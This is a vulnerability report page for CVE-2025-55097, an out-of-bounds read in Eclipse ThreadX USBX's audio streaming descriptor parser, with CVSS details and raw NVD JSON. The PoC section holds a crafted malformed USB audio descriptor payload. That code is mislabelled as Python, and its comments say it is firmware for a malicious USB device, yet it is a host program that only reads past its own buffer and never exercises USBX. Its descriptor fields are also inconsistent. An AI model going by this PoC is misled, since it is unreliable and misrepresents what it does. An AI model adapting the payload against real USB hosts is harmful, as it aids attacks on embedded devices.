Security Vulnerability Report
中文
CVE-2025-55097 CVSS 6.1 MEDIUM

CVE-2025-55097

Published: 2025-10-17 06:15:36
Last Modified: 2025-10-23 12:32:54

Description

In USBX before 6.4.3, the USB support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _ux_host_class_audio_streaming_sampling_get() when parsing a descriptor of an USB streaming device.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:eclipse:threadx_usbx:*:*:*:*:*:*:*:* - VULNERABLE
Eclipse ThreadX USBX < 6.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-55097 PoC - USBX Audio Streaming Sampling Get OOB Read * * This PoC demonstrates the vulnerability by crafting a malicious USB * audio streaming descriptor that triggers an out-of-bounds read in * _ux_host_class_audio_streaming_sampling_get(). * * To use: Flash this to a microcontroller (e.g., based on FUSB302 or * VUSB) that emulates a USB Audio Class device with a malformed descriptor. */ #include <stdio.h> #include <string.h> #include <stdint.h> /* USB Audio Streaming Interface Descriptor - Malformed */ typedef struct { uint8_t bLength; uint8_t bDescriptorType; uint8_t bDescriptorSubtype; uint8_t bFormatType; uint8_t bNrChannels; uint8_t bSubframeSize; uint8_t bBitResolution; /* Intentionally malformed sampling frequency fields to trigger OOB read */ uint8_t bSamFreqType; // Set to abnormally high value uint8_t tSamFreq[1]; // Truncated frequency data (normally 3 bytes per freq) } __attribute__((packed)) malformed_audio_streaming_if_desc_t; /* Crafted malicious descriptor payload */ uint8_t malicious_descriptor[] = { 0x07, // bLength = 7 (too short for declared content) 0x24, // bDescriptorType = CS_INTERFACE (0x24) 0x01, // bDescriptorSubtype = AS_GENERAL (0x01) 0x01, // bFormatType = PCM 0x02, // bNrChannels = 2 0x02, // bSubframeSize = 2 0x10, // bBitResolution = 16 /* The following would normally be part of a Type I format descriptor */ 0xFF, // bSamFreqType = 255 (causes OOB iteration) 0xFF, 0xFF, 0xFF // Insufficient frequency data for 255 entries }; int main(void) { /* Simulate the vulnerable parsing logic */ malformed_audio_streaming_if_desc_t *desc = (malformed_audio_streaming_if_desc_t *)malicious_descriptor; printf("[*] CVE-2025-55097 PoC - USBX OOB Read\n"); printf("[*] bSamFreqType: %u\n", desc->bSamFreqType); printf("[*] Descriptor length: %u (insufficient for declared freq count)\n", desc->bLength); /* The vulnerable code would iterate bSamFreqType times over tSamFreq, * reading beyond the descriptor boundary - this is the OOB read */ for (int i = 0; i < desc->bSamFreqType; i++) { /* This read goes out of bounds when i >= actual array size */ printf("[*] SamFreq[%d]: 0x%02x\n", i, desc->tSamFreq[i * 3]); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55097", "sourceIdentifier": "[email protected]", "published": "2025-10-17T06:15:35.813", "lastModified": "2025-10-23T12:32:54.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In USBX before 6.4.3, the USB support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _ux_host_class_audio_streaming_sampling_get() when parsing a descriptor of an USB streaming device."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:eclipse:threadx_usbx:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.3.202503", "matchCriteriaId": "B8C9E3B8-8960-4282-AF07-5D2F56DBCD5F"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/usbx/security/advisories/GHSA-r6h5-fmhc-v3j7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}